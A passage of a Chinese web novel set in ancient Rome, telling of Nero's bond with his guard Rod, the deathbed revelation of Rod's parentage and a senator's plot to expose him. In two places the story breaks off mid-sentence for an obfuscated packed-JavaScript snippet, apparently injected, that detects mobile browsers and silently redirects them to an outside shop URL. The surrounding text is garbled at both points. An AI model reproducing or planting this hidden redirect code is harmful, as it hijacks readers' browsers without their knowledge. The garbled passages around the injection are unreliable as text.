罗德任他抱着,神色轻松,轻笑着在尼禄的耳畔说:“直到现在,我的人生几乎被这个血统毁掉了大半。难道还要再让它毁掉我爱一个人的权力吗?”
“噢……”尼禄转过身,满心感动地环住他。他的嘴唇和下巴都埋进罗德的肩膀里,“谢谢你……罗德……谢谢你能这么说……”
罗德感受到肩膀上传来的细微振动,微笑着闭上眼睛,拥紧他的后背。
……
祈求洪水止息的祭祀结束,尼禄开始投入到翻修剧场的计划之中。
建筑师们上交很多张画在羊皮纸上的设计图,所构思的剧场在外观上都十分精美。
但这些方案都被尼禄否决了。
在尼禄的强烈意愿下,罗德同意将卧室搬到他的隔壁。爱情之中的尼禄对罗德很依赖,尽全力不让他离开自己的视野。
奴隶们合力抬着木床和被褥走上二楼,将腾出来的房间清扫干净,装上窗帘和地毯。他们安置好床榻,摆齐新添的餐桌和烛台,把保养作用的油脂涂在床脚。罗德的餐桌和尼禄的一样,高脚果盘中的水果定期更换,永远都是新鲜的。
罗德看着材质名贵的家具,神情冷冰冰的,“这些东西对于一个平民身份的近卫来说,似乎太重了些。”
尼禄攀着他的手臂,双眼紧盯他的眼睛,表情象是在宣誓一样认真而肃穆。
“一点也不重,罗德。”他一字一顿地说,“一点也不重。”
罗德回视着他,冰冷的面孔出现融化般的温热气。
尼禄瞥一眼四周,凑近一些,压制着声音说:“我已经派人去查你的家族过往,还有你的父母……”
罗德的眸线缓缓移过他认真的脸孔。
“其实你不必对那些死人们如此上心。”他笑了笑,“翻新剧场的计划到现在还没确定,你应该将精力放在那上面。”
尼禄顿一下,随即叹息道:“可建筑师给我的那些方案图没有一张能让我满意。”
“是不够漂亮吗?”罗德问。
“不,是不够新。”尼禄摇头道,“现在的剧场只能竞技、斗兽、赛马和表演戏剧,翻新之后还是这些,可以说除了换个壳子外毫无亮点和新意……”
他沉思着,眼睛纹丝不动,“要想获得民众的支持,就要创新出一个前所未有的剧场,让所有人都耳目一新。他们想变着花样去娱乐,而我身为亲民的行政官,就要去满足他们。”
罗德神情深沉地看着他。
这时,家奴从门口走进来,手里捧着一只雕刻精致的木盒,伏身跪在尼禄的皮靴前。
他将木盒递给尼禄说:“您定制的锁和两枚钥匙戒指已经由工匠打好了,主人。”
尼禄将木盒打开一道缝,从缝间窥看到里面的两枚黄金戒指。
他的眼角因有笑意而弯起,因为忧郁而长久隐蔽的卧蚕象苏醒一样充盈起来,连鼻梁上的雀斑都显得尤为稚气了。他向来阴郁的脸庞被这个纯净的微笑所覆,这一刻的尼禄就象返璞归真一样露出孩子般的纯真笑容。
他阖上盒盖,神情有些兴致冲冲,挽着罗德的手说:“让我们去试试那把特殊的锁。”
家奴很有眼力地退去准备马车了。
……
两人乘坐马车来到洪水漫溢的山脚,沿着石阶拾级而上。他们在半山腰路过洪水祭祀的神庙,再走一段就到了山顶的庄园。
庄园门前的草坪被奴隶打理得很平整。他们用砂纸抛光石板路两侧的大理石石雕,在神像的头顶戴上蓝紫色的花环。青绿色的爬山虎象绿漆一样覆盖在墙壁上,廊柱之间架着厚实的葡萄藤。
“庄园比我上次见到它时更有人情味了。”罗德站在殿门前的石板路上说。已经成熟的紫葡萄就垂在他的脸前。
“我买了一些奴隶来打理它。”尼禄摘掉一颗葡萄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239663|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说,“一个贵族总不能只有一个住处。”
罗德摘掉很多颗葡萄吃光,跟着尼禄走进曲曲折折的地下通道,来到存放珍宝的地窖。
地窖和通道都是新挖的,角落未除干净的泥土很黏湿,整个地窖有浓重的泥灰味。尼禄举着火把挨个点亮烛台,浅黄的烛光象流萤一样悬浮在宛如古墓的地窖。
两人驻足于地窖的石门前。
尼禄摸了摸湿润的石门,转过脸对罗德说:“这道门里藏着的雕像和珠宝几乎占到我全部财产的一半。”
他天生轻哑的嗓音荡开在空寂的地道里,又象回潮一样以更厚重的回声弹来。
罗德拿起挂在石门上的锁,仔细观察起来。
这把特制的铁锁镀了一层金箔,侧面有两个锁孔。
尼禄将两枚戒指从盒里取出。
钥匙由黄金制成,钥匙头镶在同为黄金的指环上。罗马人所穿的长袍没有衣兜,他们会把印章和钥匙都镶在戒指上,方便随身携带。
罗德把两把钥匙插进锁孔,两人同时拧动,铁锁啪地一声被打开。
“还不错,这是一把好用且灵活的锁。”罗德将铁锁重新锁上,拔出两枚可称为金戒指的钥匙。
他怔一下,将金戒指放置于掌心,以类似解剖的视线反复审视它们。
尼禄举着火把,看他半天没有动作,惊疑地问:“罗德?”
罗德没出声,一直低头盯着戒指,长长的鬓发滑落到肩前。
他的思绪飞快地往前漫溯,画面象五颜六色的颜料一样在他眼前划过,最终一切淡去,定格在当年落魄的、赠予自己金戒的尼禄的旧影上。
罗德的眼神迟滞,他预见到这是一个自己在垂垂暮年回顾人生时会反复咀嚼的画面,甚至在临终的回光返照时也要冒出来。
尼禄将手插进他的鬓发,抚着他的侧脸担忧地说:“你怎么了?罗德?”
罗德抬起视线,尼禄以一张极为年轻的面孔站在他对面,火把的红光点亮他半边尚为稚嫩的脸。罗德的神情有一瞬间的迷茫,有着仿佛跨越千山万水的徙旅感。
他出神地盯着尼禄的双眼,唇锋轻轻地动两下,“这次让我来给你戴。”他的神色恍然不明。
尼禄读不懂他的话外深意,但也乖巧地伸出手。
罗德捏住他纤细的手指,把戒指缓缓套上去。在戴好后,他低下头在戒指上落下一个吻。
尼禄抖一下后僵直地站着,一动不动,从脚尖到发丝都象变成大理石一样静止。
罗德吻过之后,望向呆愣之中的尼禄,认真地说:“其实我一直都欠你一句话。”
尼禄愣愣地问:“什么话?”
“谢谢你,尼禄。”罗德以极为罕见的认真神情说,主动拥住他僵直的脊背。
尼禄的双手象不知道怎么摆放似的悬在半空。他的余光瞄到罗德柔亮的黑发,那里象具有吸力一样使他移不开眼。罗德这种桀骜不驯之人显露出温柔,就象张扬的烈日偶尔被暗影所侵蚀,给人一种表面敬畏的、只能暗地里欣赏的变相美感。
罗德在他耳畔说:“谢谢你为我所做的一切,以及你让我感受到的一切。你说过是我让你变得完整,其实你同样也让我活得象一个真正的人。”
尼禄耳边象炸开鸣响一样。他感到骨鲠在喉,眼前泛起黑白交织的雾。
他呼吸紊乱地说:“我也想为你戴上戒指……”
罗德笑着站好,递给他剩下的那枚戒指。尼禄捧起他的手将戒指套上去。
这一瞬间尼禄进入一种纯粹的感触。他凝视罗德的指间,感觉从灵魂生长出丝缕,穿透皮囊缠住这枚金戒,宛如母胎之间的脐带。生命中总有这样的瞬间,使人产生隔绝于物质的、脱离理智思考的感性;而只有在这些毫不理性的瞬间中,人才有绝对意义的自由。
尼禄象头重脚轻一样站不稳,脸庞逐渐泛起绯红。他垂着头,如幼鸟啄食一般反复吻着罗德的金戒,发出细碎的亲吻声。
罗德忽感心疼,阻止了这个可谓神经质的行为。他把尼禄搂进怀里,揉着他的一头卷发说:“别再这么卑微了……尼禄……”
尼禄浑身打颤地抱紧他,什么话也说不出来。
此时家奴站在通道的另一端清咳两声,绷着脸地敲了敲墙壁。
尼禄箍紧罗德的腰,泛红的眼睛从碎发之下睁开,因为激动声音难免不稳:“……有什么事?”
家奴脸色为难,压低的声音通过幽暗的通道传过来,“我刚才接到口信……是从亲卫大人的养父家传来的……”
罗德心里一揪,眼前顿现马尔斯的那双被病痛折磨得的、变得黯淡的绿色眼睛。
“很遗憾……您的养父病危,”家奴沉重地说,“他希望您能过去看他一趟……”
47. 处女之子
罗德几乎是马不停蹄地赶到马尔斯家。
推门之时,浓烈到熏鼻的药草味象泥流一样从门缝里溢出,罗德额前的碎发这股风吹动,戴着黑手套的手悬在半空迟疑片刻,才推门而入。
屋里摆着密集的白蜡烛,门开时烛苗象涟漪一样荡过去。奴隶们端着药碗轻声行走,看到罗德时脸上流露出遗憾的神情。
“你们的主人呢?”罗德低声问道。
奴隶端碗的手停滞着,脸色肃穆地说:“主人的状况很不好。医生说该给他置办火葬用的棺材和口含的钱币了。”
罗德的眼角隐隐抽动。
奴隶指了指里屋说:“他正在卧榻上等您,还说要嘱咐您一些事情。”
罗德颔首,侧身走进卧室。他的脚步越来越沉,最终驻足在床前。苦涩的药味从床幔中传来。
凌乱而潮湿的薄被之下,鼓起一个扁扁的包,再往上就是一张消瘦到不成人形的惨白脸孔。
这是弥留之际的马尔斯。病入膏肓的他双颊凹陷进去,口唇干瘪到象被太阳晒干了的虫子。他的呼吸微弱,胸膛几乎没有起伏。蜷缩在被褥中的他瘦弱得象一只抽干血肉的木乃伊。
罗德的呼吸停顿一瞬。
马尔斯将眼皮张开一道细缝,从眼缝间透射出浅亮的黯绿色光芒。在看见近在眼前的罗德时,他的瞳光象流星闪逝一样忽闪一下,再陷入到长久的怔神之中。
片刻之后他干枯的嘴唇挪动着,“坐到我身边来,我的孩子……”
罗德沉默地坐到床边。马尔斯枯瘦的手在枕头下摸索一会,捏出一张折叠整齐的羊皮纸。
“我立了遗嘱,在我死后所有的房宅都赠给你……”他因病重而干裂的唇角一扯,咧出一个微笑。
罗德定定地看着他,并没有接过遗嘱,“我并不希望你离开,马尔斯。”他沉重地说。
马尔斯释然地笑笑,青紫的眼睛轻微地弯起,“我现在很高兴,我将在一双黑眼睛的注视下死去,受到的所有病苦都会被冥河水洗清,维护终身的家产也即将姓作法恩……”
罗德停顿一下,轻声说:“可我并不能在房脚下公开刻印这个姓氏。”
马尔斯蹙起汗津津的眉头,“上一代的恩怨与你无关……那是你不该背负的罪责。”
罗德扫视过他虚弱的眉目,深黑的睫毛渐渐下沉,“你不用再安慰我了,马尔斯。我的家族覆灭于卡里古拉之手,唯一存活的泰勒斯与其说是他的亲卫,不如说是他股掌之中的禁脔。而我是这个悲剧家族的遗孤……”
马尔斯抖一下,深绿的眼睛流露出一丝强行压制的痛苦。微弱的烛光从散乱的鬓发间照进来,他的脸庞被乱七八糟的光影照得恍惚不明。
“你还知道了什么?”他的语气紧张。
罗德平静地回答:“还知道他有个姐姐。”
马尔斯惊悸。他紧抿着嘴唇,下巴和面腮都震颤着,好象里面都塞满了要往外涌出的秘密。
罗德拿起床头的手帕,擦拭他额头的凉汗,“我是多米提乌斯的亲卫,他已经派人去调查我的身份和家世。”
他拿着手帕的手指轻微地颤抖两下,但随即被天生的冷静克制下去:“也就是说我迟早就能知道一切。”
马尔斯审视他的神色,逐渐怔忡起来。他神情复杂地盯了罗德很久,最终象逆来顺受似的,用手背挡着眼睛,褶皱的袖子盖住他过于骨感的脸。
“看来……我的弥留之际,就是告诉你我藏匿了一生的秘密……”他沉闷的话音从布料下传来,不太流畅,象慢慢浸透的闷油。
罗德挪开他挡着眼睛的手。那双幽深的黑眼睛就这么刺进马尔斯虚弱的视野。
“你可以选择不说。”罗德说。
“不……没人比我更适合告诉你这件事……”马尔斯象负伤重重的伤者似的,摇晃着强撑起身体,“尤其是你那个才刚刚成年的、控制不好情绪的主人……”
罗德眼前浮起尼禄的影像,脸色深暗了一些。
马尔斯靠着床头,衰弱地呼吸着,忽然握住了罗德的手。
“听着……泰勒斯并不是你的父亲……”他干瘪的嘴唇互相搓磨,“……他实际上是你的舅舅。”
这句话游离在耳外,不如说更象一种幻听。罗德先是迷惑,在反应过来这句话的涵义时视野猛然晃荡一下。这一瞬间因为过度震惊他好象灵魂出窍一般,从指尖到脑后都传来象结冰一样的麻意。
他沉默很久,久到好象在重拾说话的能力。
“……他为什么要骗我?”他低声问。
“为了保护他的姐姐……也就是你的母亲……”马尔斯呼吸艰难。他打量着罗德虚弱的脸色,枯瘦的手沿着他的手臂上移,最终停留在他因为惊骇而僵硬的肩头,有一些安慰的意味。
“我一直不想告诉你,但事到如今不得不说……”马尔斯病重的脸上显出忧虑,“她本是应该终身守节的贞女……”
罗德的思绪象行徙千里一样,跌跌撞撞地联想到尼禄的神谕。
原来他就是那个会让尼禄得到一切又失去一切的“处女之子”。
在想通的这一瞬,罗德象触电那样心悸一下,眼前的所有景物都象水面上的泡沫一样晃动着。他死死抿合血色大减的双唇,现在的他与其说是震惊,不如说是恍然大悟。
马尔斯以极快的速度衰微下去;好象他所剩无几的生命力,全部孤注一掷地用在说出这个死守一生的秘密上。
他脸上的汗水越聚越多,脸色从苍白渐渐变得青紫,全身上下都在轻微抽搐。
他伸出手,颤巍巍地去触摸罗德的头发,“我可以带走一缕黑头发吗……”他衰弱地请求道。
罗德的神色依旧镇静,只是前额已经渗出一片凉凉的汗珠。他从床柜中找出一把小刀,抓起鬓侧的一缕头发,嚓地一声削断半截。
马尔斯即将咽气,迷蒙的视野中罗德的黑发黑瞳糊成一片。
罗德摊开他汗湿的手掌,将发绺塞进他手里。
马尔斯将发绺贴紧自己的面颊,留恋地磨蹭几下。在碰到黑色的发丝时,这种微微扎人的痛感让他一下子就红了眼眶。他不禁哽咽,却又矛盾地慢慢翘起干裂的唇角,扬起一个可称为治愈的微笑。
“谢谢你……罗德……”马尔斯声音温暖地说,“他从未跟我这么亲近过……”
话音一落他便彻底咽了气。
奴隶们为病逝的主人擦洗身体,在他全身涂抹防腐的香料。他们擦干净先前准备好的棺材,在里面摆鲜花和熏香;女奴为马尔斯化妆,在他口中放进一枚钱币,并摘掉套在他指间的金饰。根据法律,黄金不能用作陪葬品。
直到入殓结束,罗德才走出宅子的屋檐。
此时已经入夜,一轮刺眼的亮月象钢钉一样钉在夜幕之中。屋檐黑色的暗影宛如面纱般,掩住他的前额和眼睛;而他赤红的双唇和刚毅的下巴,就这么暴露在白得发冷的月光下。
家奴从角落出来,为他披上厚实的兽皮。罗德已经成为他的新家主了。
罗德站立在原地,脸上没什么神色。冷风迎面吹过来,从衣料的缝隙间慢慢渗进去,象冰霜一样攀附在他的皮肤上,再挤进他的毛孔、一点点冻结到心脏。
一种沉甸甸的宿命感从四面八方袭来。这种不祥的预感过于强烈,近乎要将罗德灭顶。
月光象白漆一样涂抹罗马的一切,秋风中有树木独有的清木气味。
这一刻的罗德一边沐浴着世间明亮而柔和的月光,一边深刻地感觉到命运是个阴险而恶毒的东西。
“您该休息了。”家奴好心提醒道,“明天还要举办葬礼。”
罗德收回出神的眼光,“葬礼上会来很多宾客吗?”
“这倒不会。”家奴摇摇头说,“主人生前不善交际,朋友很少。”
罗德点了点头。他无声地思索一会,对家奴说:“你去给多米提乌斯大人送个口信,告诉他我继承了全部的家产,出于义务必须要留在这里为马尔斯守灵。”
家奴问道:“您要留在这里多久?”
“按照丧葬的规矩,一个月。”罗德闷声说。
……
马尔斯的葬礼并不铺张。
第二天清早,奴隶在庭院里泼水和草木灰,扫干净蟹壳色的青石板,几个女奴哗啦哗啦地踩着纺布机,编织葬礼用的盖棺布。身穿黑丧服的司葬们在脸上涂抹白油彩,坐在石阶上号啕大哭。
门庭实际上比预料中还要冷清。
来参加葬礼的不到十人,都是与马尔斯同级别的骑士或者指挥官。他们将携带而来的油脂涂抹在棺材上,用红豆杉枝叶制成的扫帚清理圆柱上的灰尘,有的跟随而来的女眷还会礼节性地流下泪水哭嚎几声。
罗德走过干净的青石板,从家奴的手中接过一把榛果,撒在涂满油的棺盖上。
这安宁的一幕正好被前来吊唁的门希摄入眼中。
他看见了一张酷似情敌的脸,脚步不由地打滑,被门槛绊得踉跄一下。
罗德察觉到动静,瞥向门口。
门希僵硬得仿佛浑身上下都浇筑了一层水泥。他的耳朵象灌风一样嗡嗡响着,因为惊恐他的脸涨得通红,他的面色太红,这种红色几乎马上就要撑破他的脸皮。
身份贵为元老,却屈尊来参加一个骑士的葬礼,这并不符合葬礼的常规。罗德拍掉残留在手上的榛果渣,一步步朝他走去。
他的黑发黑眼象封印已久却又复活的诅咒,直击门希的灵魂深处。
门希一脸惊骇,脸孔颇为扭曲。他呆愣愣的,不断提醒自己泰勒斯已被钉死的事实,好象一个在临危之际疯狂念叨神明圣号的教徒。
罗德很快就走到他面前,平淡地说:“作为高贵的宾客,您可以摇铃召唤我们……”
门希听他说话时寒毛不禁倒立,有时间倒退的错乱感。一时之间他认为自己身处地狱。
“你……你……”门希抽动着嘴唇,眉毛象断了线一样在脸上忽上忽下。
罗德微微抬眼,冷静的眼里有审视的意味。
“你……你是谁……”门希有些口齿不清地问,“你姓什么……”
罗德警惕起来,“我是多米提乌斯的亲卫。”他躲避性地回答这个问题。
“噢……该死的……”门希错乱地说,因为年老而泛紫的嘴唇抖动着,“又是一个亲卫……该死的……”
罗德如临大敌般地正色起来。他审视着惊恐之中的门希,那双可称之为美艳的、黑白分明的眼睛,此时释放出波澜摇荡般的微光。
门希被这双似曾相识的黑眼睛盯得头皮发麻。
他连连后退,前额不断冒出冷汗,看起来有些神经兮兮。他那颤抖的眼睛瞄了罗德两下,紧接着就象见到鬼一样,逃命般地跳上了来时的马车。
罗德看着远去的马车,双唇紧闭,神情有些警觉。
……
门希坐马车回到家宅时,象一个罹患老年病的人一样,手脚控制不住地抖动。
他满脸狰狞地下了马车,跌跌撞撞地走到天井边,用飘着落叶的井水狠狠洗了两把脸。
这时,安东尼象一条滑腻腻的泥鳅那样,从屋檐下的黑暗中钻出来。
他穿着他特意定制的、女性风格的卷边长袍,慢悠悠地晃到他的兄长旁边。
“你就要把你的五官搅和成一团了,我的哥哥。”他阴阳怪气地说。
正洗着脸的门希从指缝间瞥见他,压抑已久的怒气借此炸裂开来。
“该死的,离我远点!”他忿忿地骂道,“不男不女的狗东西!”
安东尼被他的仗势逼得后退一步,有些恼怒地说:“你不能这么骂我!”
门希用袖子胡乱揩去脸上的水,象中邪一样,嘴里骂骂咧咧,象蜂鸣一样嗡嗡响:
“你们这一帮杂碎!用一张不伦不类的脸去勾引别人,在别人被迷惑时又摆出一副不屑一顾的、清高的臭脸!你们就是枯河里的臭虫和毒蝎,就是下水道里的蛆虫!我诅咒你们的脸被划成烂泥,四肢被活生生地卸掉,尸体被剁碎和屎尿混在一起流进下水道里……”
他骂着骂着居然要抽泣起来,迅速倒抽气的喉咙发出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239664|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哨声一样尖利的声音。
安东尼正色起来,提着过长的袍子慢慢走过去,将手搭在兄长的肩上。
“谁惹着你了?我的哥哥。”他关切地问,“你从没象现在这样毫无贵族的礼仪,这可真是前所未有。”
门希依然抽着气,浸湿的金发紧紧贴在他通红的前额。他的脸涨红到极致,几乎就要吞没那几绺暗沉的金发。
一旁的银发奴隶拿来毛巾和橄榄油,很贴心地给他擦脸和涂油。他的眼珠机灵地转了转,象只小猫一样钻进主人的怀中,十分乖巧的样子。
安东尼从鼻孔里发出轻薄的声响。
门希搂着他的奴隶,慢慢恢复了正常的样子。
“我今天见到了大贞女茱莉娅提到的那个人……”他恶狠狠地说,“就是尼禄的亲卫……”
安东尼回想了半晌,才艰难地记忆起来。他眨了眨眼睛,疑惑地问:“他真的跟泰勒斯长得很像吗?”
“像!而且是像极了!一样的黑发黑眼、一样令人讨厌的冷冰冰的臭脸、就连身高都差不多……简直就象披着泰勒斯的皮一样那么像!”
门希惊魂未定,“他向我走过来时,我还以为那是泰勒斯的鬼魂,要过来向我寻仇……”
安东尼嗤笑道:“卡里古拉和尼禄这对舅侄俩的口味还真是出奇地一致。”
门希拍了拍奴隶的后背。他的银发奴隶心领神会,主动亲吻他的鬓侧,识趣地离开了。
他放低声音说:“我遵循了茱莉娅的提醒,派人重新查了那个孩子的下落……”
安东尼眉毛一挑,“还是一无所获吗?”
“这次不一样。”门希眯了眯眼睛,“虽然线索还是很少,但至少我知道了他在泰勒斯死去之后就躲在军队里藏身。”
“原来就在军队?!”安东尼惊讶道,“为什么到现在才有线索?”
门希将眼睛挤成一道缝,从中闪出阴险的光泽,“因为阻碍我找到真相的人死了……”
安东尼不解道:“是谁?”
“马尔斯。”门希面容阴森地说。
安东尼倒吸一口气,瞪着眼睛说:“他可是跟随你十多年的属下……”
门希慢腾腾地站起身,从衣襟上扯下为葬礼而戴的红豆杉枝叶。罗马人相信,这种植物的枝叶可以在不洁净的葬礼上辟邪。
“我真没想到……一直效忠于我的他会在这件事上动手脚。”门希将枝叶扔在地上,用鞋底使劲碾了碾,“要不是因为他病重退休,我到现在都还会被蒙在鼓里!”
安东尼来回踱几步,“冒着被喂狮子的危险去保护那个孩子……他为什么要这么做?”
“他一定也被泰勒斯媚惑了。”门希的脸上蒙起一层暗色,“他和泰勒斯曾经是战友,两人同住一张帐篷……”
安东尼哂笑:“如今他饱受病苦的死去,那个受他恩惠的孩子说不定会来参加他的葬礼……”
“当然!”门希瞪着眼睛,“要不是因为这个,我才不会屈尊纡贵、去参加一个低等骑士的葬礼!”
想着想着,他再次战栗起来,眼前不断浮现泰勒斯英俊的面目,宛如附骨之疽。他一想到泰勒斯就浑身难受,好象有蠕虫在血管里爬的那种难受。
他深呼吸几下,脸色惨白,“我敢保证,那个亲卫一定就是泰勒斯的外甥……”
“噢!”安东尼摇了摇头,“就凭他长得像泰勒斯?这个理由比帕西帕艾披着母牛皮与公牛交|配还要荒唐!”
“这并不荒唐,那个孩子的生母是泰勒斯的双胞胎姐姐。”门希笃定地说,“为了遮掩他姐姐的罪恶,泰勒斯一直都把外甥说成是自己的儿子,以此来掩人耳目。”
安东尼思索着说:“或许这只是个巧合……”
门希突然狂躁起来,大声呼喊道:“天啊!我发誓!我以我的灵魂发誓!”
安东尼被他放大的声音吓一跳。
门希前额的青筋突起,几乎是咬紧牙关地说:
“我恨泰勒斯!就算他被钉死也不够解恨!我恨他拥有我望尘莫及的爱情、我恨他象躲避垃圾一样躲避我爱的卡里古拉、我恨他长相俊美又充满担当、我恨他活得任性又潇洒!他是钉在我灵魂上的一根刺,我以全部的灵魂和血肉去诅咒他!无论我经历什么样的人生低谷、有多么的走投无路,我都能秉着对他的恨意而挺过来!我生命的意义就在于恨他,不恨泰勒斯的我就是一具行尸走肉……”
安东尼叹息道:“你把自己逼疯了,我可怜的兄长!”
门希回想罗德的面容,愤愤地说:“那个年轻人接近我时,我浑身的血液都在翻滚,就和泰勒斯带给我的感觉一样!这是我赖以生存的、十多年的恨意告诉我的,绝对不会错!要知道,有些东西是从骨血里散发的,永远都摘除不了。”
安东尼笑笑,“好吧,假如你想的是对的,那么那个亲卫就是贞女黛妮偷偷生下来的孽种。噢!这个讽刺神明的身世也许连他自己都不知道……”
门希浑身激灵一下,象是从噩梦中惊醒一样浑身大汗淋漓,慌里慌张地往门口走去。他浑浑噩噩的,两条腿和两只胳膊很不协调地摆动,好象出了故障的机械一样。
安东尼连忙抓住他的胳膊,“你要去哪儿?”
“我要去元老院揭露那个亲卫的身份!”门希语速很快地说道。
“你真的失去理智了!哥哥。”安东尼皱了皱眉,“黛妮在当年由你掌管。因为她的犯戒,你甚至丢掉了大祭司的位子。现在再把这件事拿出来翻旧账,难道你还想再受第二次责罚吗?!”
“我当然不会那么傻!我要揭发的,是他作为泰勒斯儿子的身份。”门希阴狠地说,“弑君者之子,哦……仅仅凭这个用来掩人耳目的身世,就已经足够让他千夫所指了!”
“好吧……”安东尼扬了扬眉头,“可你确定不会弄错人?”
“我不会看错的。”门希眼里冒着不太正常的、激动的亮光,“在这个世界上最恨泰勒斯的人就是我。正因为如此,我比任何人都能感知到他。”
安东尼的嘴角抽搐几下。
48. 苦肉计
关于罗德身世的消息不胫而走。
当年本该和泰勒斯一起钉死于十字架的男孩,如今竟作为未来皇帝的亲卫重新面临于世。
这个新闻几乎是轰动性的,象摧枯拉朽的海啸一样,迅速席卷了整个罗马。
在外人看来,泰勒斯和罗德是一对父子,父亲曾犯下弥天大罪刺死皇帝,而继承了罪恶的血脉的儿子,却以和父亲同样的职位,伴在下一任皇帝身边。
这成为街谈巷议的热点。
是夜,尼禄席地而坐,头发乱得象一团缠绕的麻线。他用狐狸皮裹着冰凉的双脚,坐在壁炉边烤火。从壁炉里蹦出来的火星不时溅到光滑茂密的狐狸毛上,烫出星星点点的黑迹。
罗德离家多久,尼禄便多久没有梳头发和刮胡子。他总是萎靡不振,明明未做一事却极度困乏。这种低迷的状态让他感觉自己时时刻刻都陷在沼泽地里,从四肢到头顶都在被粘稠而肮脏的泥水淹没。
楼道里传来一阵急切的脚步声。那是富人才买得起的银制鞋踩击大理石地面的声响。
脚步声越来越快,有些咄咄逼人。尼禄只凭这个脚步,就知道他的母亲来了。
阿格里皮娜连门都没有敲,直接推门而入。
她披着橘红色的网纱头罩,额间挂着一枚红宝石,眼圈涂抹着暗红的赭石粉末。她的秀眉描画精致,此时紧紧皱起,一副蓄势待发的模样。
尼禄抱着膝盖,抬头与她对望一眼,再轻哼一声,别扭地转过头去。
“现在坊间的舆论你应该听说了?”阿格里皮娜明知故问。
尼禄懒洋洋地接道:“听说了。”
阿格里皮娜尽量保持一种平和的语气,追问道:“那你准备怎么处置你的亲卫?听家奴说他现在在给他的养父守丧……”
“还能怎么处置?”尼禄平静地说,“当然是丧期一过就把他接回来,他现在一定很不好过。”
阿格里皮娜惊怒,严厉地说:“你知不知道这件事已经在罗马传得沸沸扬扬了?!政敌们可都在看你的笑话!”
尼禄慢吞吞地往壁炉里丢了一块木炭,看起来有些萎靡不振,“那就让他们看。”
“看来你还没有意识到这件事的严重性,尼禄。”阿格里皮娜郑重其事地说,“你不娶屋大维娅,已经得罪了克劳狄乌斯。现在所能倚仗的,只有来自民众的好感和支持。”
她皱着眉头,满脸忧虑地说:“可你向他们暴露了一个污点,尼禄。你的亲卫,就是让你落人口实的污点。”
尼禄掀开裹着脚的狐狸皮,站了起来,“那是属于他父亲的污点,与罗德无关。”
阿格里皮娜瞪大眼睛。
“异想天开!”她训斥道,“你以奥古斯都的血脉被人高捧,那么他也能以罪人的血脉被人唾弃。”
尼禄神情凝重,紧抿着嘴唇。
“法院里那些年老的法官们是奥古斯都的支持者。要不是看你的面子,你的亲卫已经被法院下令逮捕了!”阿格里皮娜高声说道。
尼禄听了这话,眼睛一亮,低沉而灰暗的脸色也象焰火般亮了起来。他的卧蚕逐渐丰盈,一小片淡棕色的雀斑也毕现无余,这让他多多少少都显得天真。
“这么说来……”尼禄傻笑着,“我保护了他。”
阿格里皮娜被他无所谓的态度彻底激怒。她大声呵斥道:“你怎么能让一个背景不清白的人留在身边?这对一个皇位的继位者来说意味着什么?!你明白吗?”
尼禄默默收敛笑容,低下头不言语。
阿格里皮娜瞪他一眼,继续道:“要么尽快辞退他、把他流放到行省去;要么……”
她平静的眉眼之间,流露出一丝狠毒,“要么就以维护主人清誉的名义命令他自杀,这样还能给他的姓氏挽回一些颜面。”
“这不可能!”尼禄断然否定。他反应激烈,暗金色的眼睛有一些危险的意味,“你忘了罗德曾经救过你!在麦瑟琳娜用匕首刺向你时,是他替你挡了下来,为此还受了伤。”
阿格里皮娜冷笑一声。
“我倒宁愿他当时不去救我,就让我死在麦瑟琳娜的匕首下……”她固执地说,“……只要你能顺顺利利地登上皇位。”
尼禄拿起壁炉边的火钳,翻了翻炉子里的炭火,讥讽道:“不愧是我的母亲。你能说出这种话,我一点也不意外。”
阿格里皮娜抬手,戴紧罩在头发上的黄金网罩,保持气定神闲的模样说:“希望我下次再来时,能看到你身边站着一个新面孔。”
“那你永远都不要来了。”尼禄沉沉地盯着摇晃的火焰。
他猛地握紧火钳,笃定地说:“我是永远都不可能换掉他的。”
阿格里皮娜的脸上扫过一丝惊诧。阅人无数的她没有立刻呵斥尼禄,而是定定凝望着他的脸庞,一双仿佛剑光的眼睛来回审视了很久。她一脸若有所思的神情,几乎要看穿尼禄的皮囊。
良久,她眯起眼睛,意味深长地开口道:“听着,我不管你们之间有什么猫腻。如果你因为他而受到哪怕一点点的阻碍,别怪我亲自对他下手!”
尼禄心里一紧,身体不由自主地震颤,后背传来一阵凉凉的麻意。
他将头埋得很低,低得几乎看不见他的脸。阿格里皮娜从他鬓边的银白卷发之中,能模糊地看见他涨红的耳朵。
“你最好别那么做……”尼禄的声音听起来很阴暗。
阿格里皮娜瞟了他一眼,“那么你最好好自为之。”
她顶着那一身皇后专属的贵重配饰,咚咚咚地离开了。
尼禄站立在壁炉边,死死盯着母亲的背影。他的手里还握着铁制的火钳,钳嘴就这么一直伸在炭火里,半截火钳都被烧得通红。
直到阿格里皮娜的身影彻底消失在楼道里,尼禄才收回他可称为仇恨的目光。
这时手掌忽然传来一阵剧痛。尼禄连忙丢开烧得滚烫的火钳,摊开手一看。
原来他的手早已经被烫伤了。
……
丧期未过,马尔斯的家宅里还保持着葬礼的布置。
罗马刚刚下过雨,淋湿的混凝土地面显出凛冽的灰黑色。罗德在庭院中间,捏去掉在石膏像上的落叶。
门希不仅揭露了罗德的身份,还说出了他继承家主的消息。
